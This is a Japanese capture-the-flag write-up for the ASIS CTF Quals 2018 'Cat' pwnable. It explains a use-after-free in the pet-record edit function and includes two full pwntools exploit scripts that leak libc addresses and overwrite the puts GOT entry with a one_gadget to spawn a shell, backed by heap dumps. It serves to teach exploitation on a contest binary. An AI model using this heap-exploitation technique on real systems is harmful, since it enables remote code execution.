ASIS CTF Quals 2018 writeup


# Cat(Pwnable, 67 points)
```
Register the cute pet! 🐱

nc 178.62.40.102 6000
```

Use After Free(UAF)の脆弱性を使ってあれこれする問題。
UAFとfastbinsの性質を組み合わせた問題で面白かった。

## ファイル情報
```shell-session
# file ./Cat 
Cat: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=873438627f4294fb88e6b2e8aec4ac5717841809, stripped
```

```shell-session
# checksec ./Cat 
[*] '(snip)/Cat'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

## 動作概要
+ pet情報の登録(create)、編集(edit)、削除(delete)や、個別pet情報の表示(print)、全pet情報の表示(print all)ができる
+ pet情報は最大10(0～9)まで登録できる
+ pet情報ごとに構造体(24バイト)が存在し、それらのアドレスを.bss(0x6020a0～0x6020e8)から指している
+ pet情報の構造体要素は下記
    + name格納領域のアドレス(8バイト)
    + kind格納領域のアドレス(8バイト)
    + oldの値(残り8バイトのうち4バイトを使用)
+ pet情報構造体、name格納領域、kind格納領域はヒープ領域に確保され、いずれもヒープサイズが0x20のfastbin
+ editの際に一時的なpet構造体が生成され、そのアドレスを.bss(0x6020f0)から指す

``` shell-session
# ./Cat

$$$$$$$\             $$\           $$$$$$$\                      $$\             $$\                         
$$  __$$\            $$ |          $$  __$$\                     \__|            $$ |                        
$$ |  $$ | $$$$$$\ $$$$$$\         $$ |  $$ | $$$$$$\   $$$$$$\  $$\  $$$$$$$\ $$$$$$\    $$$$$$\   $$$$$$\  
$$$$$$$  |$$  __$$\\_$$  _|        $$$$$$$  |$$  __$$\ $$  __$$\ $$ |$$  _____|\_$$  _|  $$  __$$\ $$  __$$\ 
$$  ____/ $$$$$$$$ | $$ |          $$  __$$< $$$$$$$$ |$$ /  $$ |$$ |\$$$$$$\    $$ |    $$$$$$$$ |$$ |  \__|
$$ |      $$   ____| $$ |$$\       $$ |  $$ |$$   ____|$$ |  $$ |$$ | \____$$\   $$ |$$\ $$   ____|$$ |      
$$ |      \$$$$$$$\  \$$$$  |      $$ |  $$ |\$$$$$$$\ \$$$$$$$ |$$ |$$$$$$$  |  \$$$$  |\$$$$$$$\ $$ |      
\__|       \_______|  \____/       \__|  \__| \_______| \____$$ |\__|\_______/    \____/  \_______|\__|      
                                                       $$\   $$ |                                            
                                                       \$$$$$$  |                                            
                                                        \______/                                             

------------------------------------------------
 1: create pet record
 2: edit pet record
 3: print record
 4: print all record
 5: delete record
 6: exit
------------------------------------------------
which command?
> 1
What's the pet's name?
> AAAA
What's the pet's kind?
> aaaa
How old?
> 11
create record id:0
(snip)
which command?
> 1
What's the pet's name?
> BBBB
What's the pet's kind?
> bbbb
How old?
> 22
create record id:1
(snip)
which command?
> 4
---
id: 0
name: AAAA
kind: aaaa
old: 11
---
id: 1
name: BBBB
kind: bbbb
old: 22
print all: 
(snip)
which command?
> 3
which id?
> 0
name: AAAA
kind: aaaa
old: 11
print id 0
(snip)
which command?
> 2
which id?
> 1
What's the pet's name?
> ZZZZ
What's the pet's kind?
> zzzz
How old?
> 33
Would you modify? (y)/n> y
edit id 1
(snip)
which command?
> 4
---
id: 0
name: AAAA
kind: aaaa
old: 11
---
id: 1
name: ZZZZ
kind: zzzz
old: 33
print all: 
(snip)
which command?
> 5
which id?
> 0
delete id 0
(snip)
which command?
> 4
---
id: 1
name: ZZZZ
kind: zzzz
old: 33
print all: 
(snip)
which command?
> 6
```

## 脆弱点
edit時に実行される関数sub_0x400b74において、「Would you modify? (y)/n>」と聞かれた際に「n」と答えると、ヒープ領域に一時的に確保されたpet構造体(pet_tmp)とその要素はfreeされるが、pet_tmpを指している.bss(0x6020f0)の値はきれいにされず、そのままpet_tmpを指したままになっている。

![Image3.png](https://qiita-image-store.s3.amazonaws.com/0/242139/b4b795a2-ce35-7848-0856-9fba52098674.png)

上記の直後にcreateすると、先ほどfreeされたヒープ領域たちがmallocで返る。これらのヒープ領域は、edit側から見れば一時領域(pet_tmp)としてまだ確保している領域に見えているというUAFな状態になる。

![Image5.png](https://qiita-image-store.s3.amazonaws.com/0/242139/116acfd9-1e07-2399-be59-fd9cd95a1b2a.png)


ここで、上記edit時に「n」を選択した際のfree時に
`pet構造体、name領域、kind領域`
の順でfreeされるので、fastbinsのリストには
`fastbin[0] -> kind領域 -> name領域 -> pet構造体( -> NULL)`
のようにつながる。
その直後にcreateでmallocすると、
`旧kind領域、旧name領域、旧pet構造体`
の順にアドレスが返るので、.bss(0x6020f0)から見たpet_tmp構造体自身と各要素、その後のcreateで確保されるpet構造体自身と各要素の各々のアドレスは下記のように対応する。

|edit時(0x6020f0から参照)|create時(0x6020a0～0x6020e8のどこかから参照)|
|---|---|
|pet_tmp構造体のアドレス|kind領域のアドレス|
|name領域のアドレス|name領域のアドレス|
|kind領域のアドレス|pet構造体のアドレス|

## 考察
+ Partial RELROなので、どこかのGOTにOne-Gadget-RCEを書き込むことを考える。
    + puts( )のGOTを使ってみる。
+ edit時に.bss(0x6020f0)からpet_tmpへの参照がきれいにされないこと、同じ領域でもedit時と直後のcreate時で使われ方が違うことを利用する。
    + `任意のアドレスからの読み出し`：edit時、pet_tmp構造体のkind相当領域の先頭に任意のアドレスを書き込むと、そのkind領域を(0x6020a0～0x6020e8)からpet構造体として参照したときには先頭16バイトがname領域のアドレスとkind領域のアドレスになるので、そのpet情報をprintすることで任意のアドレスの値を読み出せる(nameとkindに相当する最大2つ)。
    + `任意のアドレスへの書き込み`：editでpet_tmpをfreeした直後のcreate時、pet構造体のkind相当領域の先頭に任意のアドレスを書き込むと、そのkind領域をpet_tmp構造体として参照したときには先頭16バイトがname領域のアドレスとkind領域のアドレスになるので、その後のeditにより任意のアドレスに任意の文字列を書き込める(nameとkindに相当する最大2つ)。
+ libcが提供されていない。
    + 上記の手法を使ってputs( )やread( )のGOTの値をリークさせ、その結果からlibcのバージョンを推定する。

## 方針
1. createを実行する。(#0)
2. editを実行し、「Would you modify? (y)/n>」で「n」を入力する。
3. createを実行する。このときkindの値として適当な文字列を登録してしまうと4. のname登録処理で落ちてしまうので、便宜的に.bssのアドレス(0x6020b0)を登録する。(#1)
4. editを実行し、kindの値としてputs( )およびread( )それぞれのGOTアドレスを登録する。ここでは「Would you modify? (y)/n>」に対して「y」を入力し、UAF状態を解除しておく。またこのとき3. の影響で.bssのアドレス(0x6020b0)にnameの入力値が反映されるので、2番目のpet構造体(#2)が存在しているように見える。
5. #1の情報をprintし、puts( )およびread( )それぞれのlibc上のアドレスを取得する。
6. 5. で取得したアドレスからlibcのバージョンを推定する。
7. 上記1. ～5. を再度実行してlibc_baseおよびOne-Gadget-RCEのアドレスを計算する。
8. createを実行する。(#3)
9. editを実行し、「Would you modify? (y)/n>」で「n」を入力する。
10. createを実行する。このときkindの値としてputs( )のGOTアドレスを登録する。(#4)
11. editを実行し、nameの値としてOne-Gadget-RCEのアドレスを登録する。
12. メニュー表示時にputs( )が呼ばれ、One-Gadget-RCEが発動する。

## exploit-1(libcの推定)
```python
from pwn import *

BIN = './Cat'

elf = ELF(BIN)

puts_got = elf.got['puts']
read_got = elf.got['read']

target = '178.62.40.102'
port = 6000

conn = remote(target, port)

def create(name, kind, old):
	conn.sendafter('> ', str(1))
	conn.sendafter('> ', name)
	conn.sendafter('> ', kind)
	conn.sendafter('> ', str(old))
	
	conn.recvline()

def edit(id, name, kind, old, flag):
	conn.sendafter('> ', str(2))
	conn.sendafter('> ', str(id))
	conn.sendafter('> ', name)
	conn.sendafter('> ', kind)
	conn.sendafter('> ', str(old))
	conn.sendafter('> ', flag)
	
	conn.recvline()

def print_pet(id):
	conn.sendafter('> ', str(3))
	conn.sendafter('> ', str(id))
	
	res = conn.recvuntil('print id').split('\n')[:-1]
	return res

create('A'*8, 'a'*8, 0x11)
edit(0, 'B'*8, 'b'*8, 0x22, 'n')

create('Z'*8, p64(0x6020b0), 0x33)
edit(0, 'HOGE', p64(puts_got) + p64(read_got), 0x22, 'y')

puts_libc = u64(print_pet(1)[0].split(': ')[1].ljust(8, '\0'))
read_libc = u64(print_pet(1)[1].split(': ')[1].ljust(8, '\0'))

log.info('puts_libc: {0}'.format(hex(puts_libc)))
log.info('read_libc: {0}'.format(hex(read_libc)))

conn.interactive()

conn.close()
```

## 検証メモ-1
`1.` createを実行する。(#0)

```shell-session
pwndbg> telescope 0x6020a0
00:0000│   0x6020a0 —▸ 0x770010 —▸ 0x770030 ◂— 0x41414141414141 /* 'AAAAAAA' */
01:0008│   0x6020a8 ◂— 0x0
```

```shell-session
pwndbg> x/30gx 0x770000
0x770000:       0x0000000000000000      0x0000000000000021
0x770010:       0x0000000000770030      0x0000000000770050
0x770020:       0x0000000000000011      0x0000000000000021
0x770030:       0x0041414141414141      0x0000000000000000
0x770040:       0x0000000000000000      0x0000000000000021
0x770050:       0x0061616161616161      0x0000000000000000
0x770060:       0x0000000000000000      0x0000000000020fa1
```

`2.` editを実行し、「Would you modify? (y)/n>」で「n」を入力する。

```shell-session
pwndbg> telescope 0x6020a0
00:0000│   0x6020a0 —▸ 0x770010 —▸ 0x770030 ◂— 0x41414141414141 /* 'AAAAAAA' */
01:0008│   0x6020a8 ◂— 0x0
```

```shell-session
pwndbg> telescope 0x6020f0
00:0000│   0x6020f0 —▸ 0x770070 ◂— 0x0
01:0008│   0x6020f8 ◂— 0x0
```

```shell-session
pwndbg> x/30gx 0x770000
0x770000:       0x0000000000000000      0x0000000000000021
0x770010:       0x0000000000770030      0x0000000000770050
0x770020:       0x0000000000000011      0x0000000000000021
0x770030:       0x0041414141414141      0x0000000000000000
0x770040:       0x0000000000000000      0x0000000000000021
0x770050:       0x0061616161616161      0x0000000000000000
0x770060:       0x0000000000000000      0x0000000000000021
0x770070:       0x0000000000000000      0x00000000007700b0
0x770080:       0x0000000000000022      0x0000000000000021
0x770090:       0x0000000000770060      0x0000000000000000
0x7700a0:       0x0000000000000000      0x0000000000000021
0x7700b0:       0x0000000000770080      0x0000000000000000
0x7700c0:       0x0000000000000000      0x0000000000020f41
```

```shell-session
pwndbg> heapinfo
(0x20)     fastbin[0]: 0x7700a0 --> 0x770080 --> 0x770060 --> 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
                  top: 0x7700c0 (size : 0x20f40) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
```

`3.` createを実行する。このときkindの値として適当な文字列を登録してしまうと4. のname登録処理で落ちてしまうので、便宜的に.bssのアドレス(0x6020b0)を登録する。(#1)

```shell-session
pwndbg> telescope 0x6020a0
00:0000│   0x6020a0 —▸ 0x770010 —▸ 0x770030 ◂— 0x41414141414141 /* 'AAAAAAA' */
01:0008│   0x6020a8 —▸ 0x7700b0 —▸ 0x770090 ◂— 0x5a5a5a5a5a5a5a /* 'ZZZZZZZ' */
02:0010│   0x6020b0 ◂— 0x0
```

```shell-session
pwndbg> x/30gx 0x770000
0x770000:       0x0000000000000000      0x0000000000000021
0x770010:       0x0000000000770030      0x0000000000770050
0x770020:       0x0000000000000011      0x0000000000000021
0x770030:       0x0041414141414141      0x0000000000000000
0x770040:       0x0000000000000000      0x0000000000000021
0x770050:       0x0061616161616161      0x0000000000000000
0x770060:       0x0000000000000000      0x0000000000000021
0x770070:       0x00000000006020b0      0x00000000007700b0
0x770080:       0x0000000000000022      0x0000000000000021
0x770090:       0x005a5a5a5a5a5a5a      0x0000000000000000
0x7700a0:       0x0000000000000000      0x0000000000000021
0x7700b0:       0x0000000000770090      0x0000000000770070
0x7700c0:       0x0000000000000033      0x0000000000020f41
```

```shell-session
pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
                  top: 0x7700c0 (size : 0x20f40) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
```

`4.` editを実行し、kindの値としてputs( )およびread( )それぞれのGOTアドレス(0x602028、0x602048)を登録する。ここでは「Would you modify? (y)/n>」に対して「y」を入力し、UAF状態を解除しておく。

```shell-session
pwndbg> telescope 0x6020a0
00:0000│   0x6020a0 —▸ 0x770070 —▸ 0x6020b0 ◂— 0x474f48 /* 'HOG' */
01:0008│   0x6020a8 —▸ 0x7700b0 —▸ 0x602028 —▸ 0x7f76f09a1690 (puts) ◂— push   r12
02:0010│   0x6020b0 ◂— 0x474f48 /* 'HOG' */
03:0018│   0x6020b8 ◂— 0x0
```

```shell-session
pwndbg> telescope 0x6020f0
00:0000│   0x6020f0 ◂— 0x0
```

```shell-session
pwndbg> x/30gx 0x770000
0x770000:       0x0000000000000000      0x0000000000000021
0x770010:       0x0000000000770040      0x0000000000770050
0x770020:       0x0000000000000011      0x0000000000000021
0x770030:       0x0000000000000000      0x0000000000000000
0x770040:       0x0000000000000000      0x0000000000000021
0x770050:       0x0000000000770020      0x0000000000000000
0x770060:       0x0000000000000000      0x0000000000000021
0x770070:       0x00000000006020b0      0x00000000007700b0
0x770080:       0x0000000000000022      0x0000000000000021
0x770090:       0x005a5a5a5a5a5a5a      0x0000000000000000
0x7700a0:       0x0000000000000000      0x0000000000000021
0x7700b0:       0x0000000000602028      0x0000000000602048
0x7700c0:       0x0000000000000033      0x0000000000020f41
```

```shell-session
pwndbg> heapinfo
(0x20)     fastbin[0]: 0x770000 --> 0x770040 --> 0x770020 --> 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
                  top: 0x7700c0 (size : 0x20f40) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
```

`5.` #1の情報をprintし、puts( )およびread( )それぞれのlibc上のアドレスを取得する。
`6.` 5. で取得したアドレスからlibcのバージョンを推定する。

```shell-session
[*] puts_libc: 0x7f76f09a1690
[*] read_libc: 0x7f76f0a29250
```

```shell-session
(snip)/libc-database# ./find puts 690 read 250
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
```

```shell-session
# one_gadget -f libc.so.6 
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
```

+ 推定されたlibcにおいて、
    + One-Gadget-RCEのオフセットは0x45216など

## exploit-2(shell取る)
```python
from pwn import *

BIN = './Cat'
LIBC = './libc.so.6'

elf = ELF(BIN)
libc = ELF(LIBC)

puts_got = elf.got['puts']
puts_offset = libc.symbols['puts']
read_got = elf.got['read']
read_offset = libc.symbols['read']
onegadget_offset = 0x45216

target = '178.62.40.102'
port = 6000

conn = remote(target, port)

def create(name, kind, old):
	conn.sendafter('> ', str(1))
	conn.sendafter('> ', name)
	conn.sendafter('> ', kind)
	conn.sendafter('> ', str(old))
	
	conn.recvline()

def edit(id, name, kind, old, flag):
	conn.sendafter('> ', str(2))
	conn.sendafter('> ', str(id))
	conn.sendafter('> ', name)
	conn.sendafter('> ', kind)
	conn.sendafter('> ', str(old))
	conn.sendafter('> ', flag)
	
	conn.recvline()

def print_pet(id):
	conn.sendafter('> ', str(3))
	conn.sendafter('> ', str(id))
	
	res = conn.recvuntil('print id').split('\n')[:-1]
	return res

create('A'*8, 'a'*8, 0x11)
edit(0, 'B'*8, 'b'*8, 0x22, 'n')

create('Z'*8, p64(0x6020b0), 0x33)
edit(0, 'HOGE', p64(puts_got) + p64(read_got), 0x22, 'y')

puts_libc = u64(print_pet(1)[0].split(': ')[1].ljust(8, '\0'))
read_libc = u64(print_pet(1)[1].split(': ')[1].ljust(8, '\0'))

log.info('puts_libc: {0}'.format(hex(puts_libc)))
log.info('read_libc: {0}'.format(hex(read_libc)))

libc_base = puts_libc - puts_offset
onegadget = libc_base + onegadget_offset

log.info('libc_base: {0}'.format(hex(libc_base)))
log.info('onegadget: {0}'.format(hex(onegadget)))

create('A'*8, 'a'*8, 0x11)
edit(3, 'B'*8, 'b'*8, 0x22, 'n')

create('Z'*8, p64(puts_got), 0x33)
edit(3, p64(onegadget), 'FUGA', 0x22, 'y')

conn.interactive()

conn.close()
```

## 検証メモ-2
`7.` 上記1. ～5. を再度実行してlibc_baseおよびOne-Gadget-RCEのアドレスを計算する。

```python
[*] puts_libc: 0x7fe6726c4690
[*] read_libc: 0x7fe67274c250
[*] libc_base: 0x7fe672655000
[*] onegadget: 0x7fe67269a216
```

`8.` createを実行する。(#3)

```shell-session
pwndbg> telescope 0x6020a0
00:0000│   0x6020a0 —▸ 0x1a28070 —▸ 0x6020b0 ◂— 0x474f48 /* 'HOG' */
01:0008│   0x6020a8 —▸ 0x1a280b0 —▸ 0x602028 —▸ 0x7fe6726c4690 (puts) ◂— push   r12
02:0010│   0x6020b0 ◂— 0x474f48 /* 'HOG' */
03:0018│   0x6020b8 —▸ 0x1a28010 —▸ 0x1a28050 ◂— 0x41414141414141 /* 'AAAAAAA' */
04:0020│   0x6020c0 ◂— 0x0
```

```shell-session
pwndbg> telescope 0x6020f0
00:0000│   0x6020f0 ◂— 0x0
```

```shell-session
pwndbg> x/30gx 0x1a28000
0x1a28000:      0x0000000000000000      0x0000000000000021
0x1a28010:      0x0000000001a28050      0x0000000001a28030
0x1a28020:      0x0000000000000011      0x0000000000000021
0x1a28030:      0x0061616161616161      0x0000000000000000
0x1a28040:      0x0000000000000000      0x0000000000000021
0x1a28050:      0x0041414141414141      0x0000000000000000
0x1a28060:      0x0000000000000000      0x0000000000000021
0x1a28070:      0x00000000006020b0      0x0000000001a280b0
0x1a28080:      0x0000000000000022      0x0000000000000021
0x1a28090:      0x005a5a5a5a5a5a5a      0x0000000000000000
0x1a280a0:      0x0000000000000000      0x0000000000000021
0x1a280b0:      0x0000000000602028      0x0000000000602048
0x1a280c0:      0x0000000000000033      0x0000000000020f41
0x1a280d0:      0x0000000000000000      0x0000000000000000
0x1a280e0:      0x0000000000000000      0x0000000000000000
```

`9.` editを実行し、「Would you modify? (y)/n>」で「n」を入力する。

```shell-session
pwndbg> telescope 0x6020a0
00:0000│   0x6020a0 —▸ 0x1a28070 —▸ 0x6020b0 ◂— 0x474f48 /* 'HOG' */
01:0008│   0x6020a8 —▸ 0x1a280b0 —▸ 0x602028 —▸ 0x7fe6726c4690 (puts) ◂— push   r12
02:0010│   0x6020b0 ◂— 0x474f48 /* 'HOG' */
03:0018│   0x6020b8 —▸ 0x1a28010 —▸ 0x1a28050 ◂— 0x41414141414141 /* 'AAAAAAA' */
04:0020│   0x6020c0 ◂— 0x0
```

```shell-session
pwndbg> telescope 0x6020f0
00:0000│   0x6020f0 —▸ 0x1a280d0 ◂— 0x0
01:0008│   0x6020f8 ◂— 0x0
```

```shell-session
pwndbg> x/40gx 0x1a28000
0x1a28000:      0x0000000000000000      0x0000000000000021
0x1a28010:      0x0000000001a28050      0x0000000001a28030
0x1a28020:      0x0000000000000011      0x0000000000000021
0x1a28030:      0x0061616161616161      0x0000000000000000
0x1a28040:      0x0000000000000000      0x0000000000000021
0x1a28050:      0x0041414141414141      0x0000000000000000
0x1a28060:      0x0000000000000000      0x0000000000000021
0x1a28070:      0x00000000006020b0      0x0000000001a280b0
0x1a28080:      0x0000000000000022      0x0000000000000021
0x1a28090:      0x005a5a5a5a5a5a5a      0x0000000000000000
0x1a280a0:      0x0000000000000000      0x0000000000000021
0x1a280b0:      0x0000000000602028      0x0000000000602048
0x1a280c0:      0x0000000000000033      0x0000000000000021
0x1a280d0:      0x0000000000000000      0x0000000001a28110
0x1a280e0:      0x0000000000000022      0x0000000000000021
0x1a280f0:      0x0000000001a280c0      0x0000000000000000
0x1a28100:      0x0000000000000000      0x0000000000000021
0x1a28110:      0x0000000001a280e0      0x0000000000000000
0x1a28120:      0x0000000000000000      0x0000000000020ee1
```

```shell-session
pwndbg> heapinfo
(0x20)     fastbin[0]: 0x1a28100 --> 0x1a280e0 --> 0x1a280c0 --> 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
                  top: 0x1a28120 (size : 0x20ee0) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
```

`10.` createを実行する。このときkindの値としてputs( )のGOTアドレス(0x602028)を登録する。(#4)

```shell-session
pwndbg> telescope 0x6020a0
00:0000│   0x6020a0 —▸ 0x1a28070 —▸ 0x6020b0 ◂— 0x474f48 /* 'HOG' */
01:0008│   0x6020a8 —▸ 0x1a280b0 —▸ 0x602028 —▸ 0x7fe6726c4690 (puts) ◂— push   r12
02:0010│   0x6020b0 ◂— 0x474f48 /* 'HOG' */
03:0018│   0x6020b8 —▸ 0x1a28010 —▸ 0x1a28050 ◂— 0x41414141414141 /* 'AAAAAAA' */
04:0020│   0x6020c0 —▸ 0x1a28110 —▸ 0x1a280f0 ◂— 0x5a5a5a5a5a5a5a /* 'ZZZZZZZ' */
05:0028│   0x6020c8 ◂— 0x0
```

```shell-session
pwndbg> telescope 0x6020f0
00:0000│   0x6020f0 —▸ 0x1a280d0 —▸ 0x602028 —▸ 0x7fe6726c4690 (puts) ◂— push   r12
01:0008│   0x6020f8 ◂— 0x0
```

```shell-session
pwndbg> x/40gx 0x1a28000
0x1a28000:      0x0000000000000000      0x0000000000000021
0x1a28010:      0x0000000001a28050      0x0000000001a28030
0x1a28020:      0x0000000000000011      0x0000000000000021
0x1a28030:      0x0061616161616161      0x0000000000000000
0x1a28040:      0x0000000000000000      0x0000000000000021
0x1a28050:      0x0041414141414141      0x0000000000000000
0x1a28060:      0x0000000000000000      0x0000000000000021
0x1a28070:      0x00000000006020b0      0x0000000001a280b0
0x1a28080:      0x0000000000000022      0x0000000000000021
0x1a28090:      0x005a5a5a5a5a5a5a      0x0000000000000000
0x1a280a0:      0x0000000000000000      0x0000000000000021
0x1a280b0:      0x0000000000602028      0x0000000000602048
0x1a280c0:      0x0000000000000033      0x0000000000000021
0x1a280d0:      0x0000000000602028      0x0000000001a28110
0x1a280e0:      0x0000000000000022      0x0000000000000021
0x1a280f0:      0x005a5a5a5a5a5a5a      0x0000000000000000
0x1a28100:      0x0000000000000000      0x0000000000000021
0x1a28110:      0x0000000001a280f0      0x0000000001a280d0
0x1a28120:      0x0000000000000033      0x0000000000020ee1
```

```shell-session
pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
                  top: 0x1a28120 (size : 0x20ee0) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
```

`11.` editを実行し、nameの値としてOne-Gadget-RCEのアドレスを登録する。

```shell-session
pwndbg> telescope 0x6020a0
00:0000│   0x6020a0 —▸ 0x1a28070 —▸ 0x6020b0 ◂— 0x474f48 /* 'HOG' */
01:0008│   0x6020a8 —▸ 0x1a280b0 —▸ 0x602028 —▸ 0x7fe67269a216 (do_system+1014) ◂— lea    rsi, [rip + 0x381343]
02:0010│   0x6020b0 ◂— 0x474f48 /* 'HOG' */
03:0018│   0x6020b8 —▸ 0x1a280d0 —▸ 0x602028 —▸ 0x7fe67269a216 (do_system+1014) ◂— lea    rsi, [rip + 0x381343]
04:0020│   0x6020c0 —▸ 0x1a28110 ◂— 0x475546 /* 'FUG' */
05:0028│   0x6020c8 ◂— 0x0
```

```shell-session
pwndbg> telescope 0x6020f0
00:0000│   0x6020f0 ◂— 0x0
```

```shell-session
pwndbg> x/40gx 0x1a28000
0x1a28000:      0x0000000000000000      0x0000000000000021
0x1a28010:      0x0000000001a28020      0x0000000001a28030
0x1a28020:      0x0000000000000011      0x0000000000000021
0x1a28030:      0x0000000001a28040      0x0000000000000000
0x1a28040:      0x0000000000000000      0x0000000000000021
0x1a28050:      0x0000000000000000      0x0000000000000000
0x1a28060:      0x0000000000000000      0x0000000000000021
0x1a28070:      0x00000000006020b0      0x0000000001a280b0
0x1a28080:      0x0000000000000022      0x0000000000000021
0x1a28090:      0x005a5a5a5a5a5a5a      0x0000000000000000
0x1a280a0:      0x0000000000000000      0x0000000000000021
0x1a280b0:      0x0000000000602028      0x0000000000602048
0x1a280c0:      0x0000000000000033      0x0000000000000021
0x1a280d0:      0x0000000000602028      0x0000000001a28110
0x1a280e0:      0x0000000000000022      0x0000000000000021
0x1a280f0:      0x005a5a5a5a5a5a5a      0x0000000000000000
0x1a28100:      0x0000000000000000      0x0000000000000021
0x1a28110:      0x0000000000475546      0x0000000001a280d0
0x1a28120:      0x0000000000000033      0x0000000000020ee1
```

```shell-session:GOTの様子(One-Gadget書き込み前)
pwndbg> got

GOT protection: Partial RELRO | GOT functions: 11
(snip)
[0x602028] puts@GLIBC_2.2.5 -> 0x7fe6726c4690 (puts) ◂— push   r12
```

```shell-session:GOTの様子(One-Gadget書き込み後)
pwndbg> got

GOT protection: Partial RELRO | GOT functions: 11
(snip)
[0x602028] puts@GLIBC_2.2.5 -> 0x7fe67269a216 (do_system+1014) ◂— lea    rsi, [rip + 0x381343]
```

`12.` メニュー表示時にputs( )が呼ばれ、One-Gadget-RCEが発動する。

```shell-session
[+] Opening connection to 178.62.40.102 on port 6000: Done
[*] puts_libc: 0x7fe6726c4690
[*] read_libc: 0x7fe67274c250
[*] libc_base: 0x7fe672655000
[*] onegadget: 0x7fe67269a216
[*] Switching to interactive mode
$ id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
$ pwd
/
$ cd /home/pwn
$ ls
flag
pwn
$ cat flag
ASIS{5aa9607cca34dba443c2b757a053665179f3f85c}
```